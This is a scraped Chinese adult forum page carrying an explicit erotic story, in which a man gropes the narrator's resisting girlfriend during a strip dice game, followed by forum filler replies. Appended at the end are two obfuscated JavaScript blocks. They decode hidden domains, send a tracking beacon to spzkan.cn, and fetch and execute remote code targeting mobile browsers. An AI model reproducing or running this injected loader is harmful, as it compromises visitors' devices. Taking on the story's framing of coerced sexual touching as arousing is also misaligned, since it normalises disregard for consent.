话说这个时候已经过了半夜十二点了,梅婷率先撑不住了。结婚当天,新娘新郎都是一直在忙碌着,婚礼实在也是一个体力活啊。

本来我们是要告辞的,新郎却再三挽留,说不行就让我们住下。毕竟是人家的新婚之夜,我们住着算什么啊。梅婷也有些不好意思,觉得挺招待不周的,但实在也是累的撑不住了。最后商定,就让我和曈曈去住到王哥家里。

说好之后,我们并没有立刻告辞,梅婷先去休息了,文帅却在客厅继续和我们聊着。

很快,两瓶红酒就被喝空了,兴致却喝上来了。文帅又拎出来一瓶白的,曈曈却是不肯再喝了。王哥不知从哪摸出来了一副骰子,要边喝边玩。

游戏玩的很简单,就是猜点数那个,相信很多人都玩过。一人五个筛子,各摇各的。然后轮流猜一共摇出了几个几点。输的的人就抿一口酒。

曈曈不喝酒当然就不参与了。王哥他们都是玩这个的老手了,虽然我很快适应了玩法,但是还是不免被他们灌了不少,三两酒下肚后,由于前面喝了红酒,很快就上头了。我怕自己真醉了,说什么也不肯再喝了。

我又输了一把之后,王哥就说到:"要么喝酒,要么脱一件衣服,自己选。 "大老爷们的,害怕脱衣服么?我脱下外套就扔到了一边去。谁知脱了一件衣服后,我的运气竟然转好了,剩下的小半瓶酒,在我付出了上身被脱光的代价后,全部灌到了他们三个人的口中。

酒喝完了,那就剩下脱衣服了。但是大家丝毫没有停止的意思,曈曈看的也是兴奋不已,一直在我耳边给我出谋划策加油打气。

运气这个东西,总是转个不停,酒一空又轮到我输了。输了第一把后,我被迫脱掉了长裤。场上的局面是王哥赤裸上身,文帅上身还有见小背心,徐萌上身还有件胸罩。当然,上身没有脱完的,下身的衣服肯定是一件没有动的。

于是我就成为了第一个脱掉裤子的人。

第二把,又是我输了。只穿了一件小内裤的我,再脱就真的全裸了。可是一圈人并没有放过我,说要是我不脱,他们过来帮我。难道真的要在这么多人面前,当着曈曈的面全裸出镜,我还真觉得很丢人。正准备胡搅蛮缠的耍赖。王哥把话题转移到曈曈身上了:"你要是不脱也行,曈曈脱一件就好了么,反正她还穿那么多,你们都一家的,谁脱都一样。"最后实在执拗不过,曈曈躲在我的背后把自己的胸罩从里面脱了出来。没办法,她身上就三件衣服,胸罩、内裤和裙子。 我本打算不玩了,再脱下去曈曈也没得脱了。可是几个人一起数落我,说不玩的话就自动脱光衣服,然后等待他们游戏结束。玩下去还有可能不脱,不玩就必须要脱。傻子也知道怎么选择了。被酒精充斥大脑的我,就继续和他们玩了下去。

几把过后,王哥也剩下了一条内裤,文帅脱光了上身,徐萌却是摘掉了胸罩。 徐萌输掉的那一把,竟然没有任何犹豫的解开的自己的胸罩扔在了沙发上。 看的我和曈曈直咋舌,曈曈还过来伸手捂住了我的眼睛,熟不知我下午却已经连啃带抓过了,甚至都已经在上面留下了几道淤青。王哥却和文帅没有丝毫的诧异,只是小声的欢唿了半天。

曈曈捂住了我的眼睛,说要替我玩。趴在我背上的曈曈,我清晰的感觉到她胸前的那两团柔软,如果现在仔细看的话,那薄透的纱裙,肯定挡不住肉球上的两颗小葡萄,虽然灯光很柔暗,可是这样的若隐若现才最刺激。只是曈曈一直藏在我的背后,应该没有人能看见。

曈曈捂住我眼睛玩的第一把就输了,自己玩输了,却狠狠的咬了我肩膀一口,然后小心翼翼的坐在我身后把内裤从裙子里退了下来。脱内裤的时候,自然就不能在捂住我的眼睛了。我不但看到了徐萌胸前结实挺拔的两团美乳,还看到了王哥看着曈曈内裤的直勾勾的眼神。

曈曈却羞赧的不敢看我们任何一个人,紧紧的靠在我的后背。我心里却在想着,不知道曈曈裙子下面那神秘的幽谷那,稀疏的阴毛会不会透过裙子能看出来。 也许是我的眼神落到的地方刚好是徐萌的方向,曈曈发现后立马又捂住了我的眼睛。

我听到在王哥的淫笑中,又想起了骰子声。

这一把,曈曈又输了!

怎么办呢?要么我脱光,要么曈曈脱光!我身上就只剩下一个包裹着半硬肉棒的小内裤。曈曈则是里面真空的穿着一个长裙。不管王哥怎么撂狠话,反正所以说什么我们都不再脱了。

看到我们强硬的态度,王哥话锋一转:"那就罚曈曈陪赢的人跳完一整支舞吧!""这~!"曈曈穿成这样,和王哥跳舞,肯定要被占便宜的啊!但是我却没有说破,只是看着曈曈的反应。

也许曈曈把我看向她的目光理解为向她的求救,毕竟她不跳的话,就有可能我会脱掉内裤。只见她,咬了咬牙:"跳就跳,只跳一首!"王哥这个时候也只穿了条内裤,内裤里面鼓鼓囊囊的一团,可以看出来还没有完全勃起。径直的走到我身后的曈曈面前,优雅的伸出了一只手。而他的内裤的位置刚好就在曈曈眼前,窘的曈曈不知看哪里好,只好红着脸看着我。我递给曈曈一个安啦的眼神,她低着头,被王哥牵着走到了茶几对面。

正在放的一首曲子还没有完,王哥也没有急着开始跳,但是手却一直牵着曈曈。曈曈不敢看王哥,也不敢看向我,只是低着头看墙边的踢脚线。

看着两个人木愣愣的站在那里,徐萌有些不耐烦了:"来来,我们继续玩,谁赢了我和谁去跳!"我摆了摆手:"你们跳吧,我头晕休息一下。"又挨了一顿白眼之后,随着又一曲的音乐响起,文帅搂着上身半裸的徐萌,也站了出去开始跳了起来。

我借机斜靠在沙发后背上,眯着眼睛看着缓缓晃动着得两对人。王哥的手老老实实的抱着曈曈的腰部,曈曈的手虽然搭在王哥的脖子上,但是却僵硬的用小臂顶着他的胸膛,不想让自己贴的太近。文帅和徐萌两人则如胶似漆的抱在一起。 徐萌的乳房被挤成了两个肉饼贴在文帅的胸前。

一分钟过去了,我静静的看着王哥和曈曈的身影,曈曈的头一直扭到对面,留给我的只是一个后脑勺,看不到她的表情。王哥扶着曈曈腰部的手,却是越来越用力了,我慢慢的看到了裙子贴在曈曈屁股上绷紧的臀线。

突然王哥的手往下滑到了曈曈的臀部,我看到曈曈的身躯猛然一紧,胳膊上用力想挣扎开来。王哥却双手用力将曈曈贴向自己,他的手已经有些陷进曈曈柔软的臀部之中。

曈曈一个不留意,被王哥按在了自己的怀里。闷哼了一声,上身用胳膊推开些距离,臀部却被王哥紧紧的抓住,按向自己。连个人像字母Y一样,定在了哪里。我眯着眼睛看着两人紧贴的部位。王哥这会肉棒已经坚挺的勃起了,紧紧的顶在曈曈的小腹上,虽然我看不见他勃起的样子,但是勃起的阳具已经将王哥的内裤上沿拽了下去,隐隐的露了些阴毛。

曈曈一定是感觉到了王哥坚挺的阳具,努力的想抗拒着。只是越抗拒,王哥那双抓着曈曈屁股的手就越用力。我看到了曈曈的微微颤抖,还有那胸前若隐若现的凸点。王哥随着音乐的节奏,抱着曈曈的臀部猛然一个转身。曈曈支撑上身的胳膊随着旋转的力度滑了开去。王哥随即一只手继续按着曈曈的屁股,令一只手抱紧了曈曈的背。就这样完全的把曈曈窝在了自己的怀里。

转身的那一刻,如同放慢动作一般的,我看到了曈曈的脸。娇羞、惊恐、欲望纠缠在了一起。我想我的脸上也一定有这样的表情的痕迹。

这样的插曲没有影响到旁边的新郎和徐萌,文帅的一只手已经握在了徐萌的胸部,还不停的扣弄着她的乳头。徐萌则是花枝乱颤,娇喘不已。

也许是受了这样气氛的影响,王哥的动作更大胆了。他将按着曈曈屁股的中指,沿着屁股中间的股缝向里探索者。裙子被王哥的中指压出了一条缝,把曈曈两瓣翘臀完全勾勒了出来。

曈曈激动的想顶开王哥的手,于是腰部用力,小屁股用的了翘着两边摆动躲避王哥的手指。看到这个场景,我早已压抑不住的肉棒擡起了头。

其实隔着裙子,王哥的手不可能真的摸进去的,反正遮掩赶得扭动带给了他更大的刺激。而且这会,曈曈胸前的两团柔软的肉球,也在王哥的身体上扭动摩擦着。

隔着薄薄的一层纱裙,曈曈几乎算是赤裸着在王哥怀中挣扎扭动着。我几乎忍不住掏出肉棒来打手枪了。

王哥的侵犯个曈曈的挣扎正在继续,而文帅早已从背面抱着徐萌,一直手揉捏着她的乳房,一只手伸进了徐萌的内裤中去。嘴巴还在轻轻咬着徐萌的耳垂。 徐萌的叫声已经很大了,渐渐超过了音乐的伴奏。文帅不怕睡着的梅婷听见么?我突然想起了正在睡觉的梅婷!

刺激的场景已容不得我多想了。我的目光紧紧的盯着王哥的动作和曈曈的反应。不一会,曈曈就娇软的瘫靠在王哥的怀里,反抗也只微弱了很多,喘气声却越来越大。

一曲舞曲早已经完了,这时候的我们都没有注意到。王哥揉捏的曈曈的屁股手,逐渐一点一点的把曈曈的裙子提了起来,在腰部揉集了一团,而曈曈的大腿慢慢露了出来,这时候她还没有意识到。

我看着曈曈的裙摆一点点的上升着,柔软的腿部曲线逐渐暴露了出来,当看到曈曈终于露出了臀部的弧线的时候。我忍不住斜坐着翘起了二郎腿,压住了自己涨得难受的肉棒,手也忍不住的按了上去。

这个时候曈曈后面的裙子几乎被全部提起,再提高两公分的长度,从我的角度就可以从后面看到她阴唇的弧度。也许是感觉到了空气的奇袭,曈曈终于发现自己的状态,强扭着把压在王哥肩膀上的手拿了下来,去拨提着自己后裙的王哥的手。

我似乎隐约看到了王哥的手在曈曈的两腿之间进出了一下,看的不是很真切。大家一起来推爆!

每天来逛一下已经逛成习惯啰

大家一起来推爆!

我想我是一天也不能离开

五楼快点踹共

每天来逛一下已经逛成习惯啰

勋爵士

勋爵士,积分253,距离下一级还需47积分

升级69%

该用户从未签到

3楼

五楼快点踹共

每天来逛一下已经

路过看看。。。推一下。。。

每天来逛一下已经逛成习惯啰

除了笑我不知道能说什么?除了笑不停,我不知道能做什么!推吧~~~

是最好的论坛

原PO好帅!

助跑~~~~~~~~~~~~~~~~~~我推!

我最爱了

路过看看。。。推一下。。。

太棒了

推!是为了让你分享更多


上一篇:和老婆几次刺激性爱的回忆 作者:小头娃

下一篇:做爱做的事


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};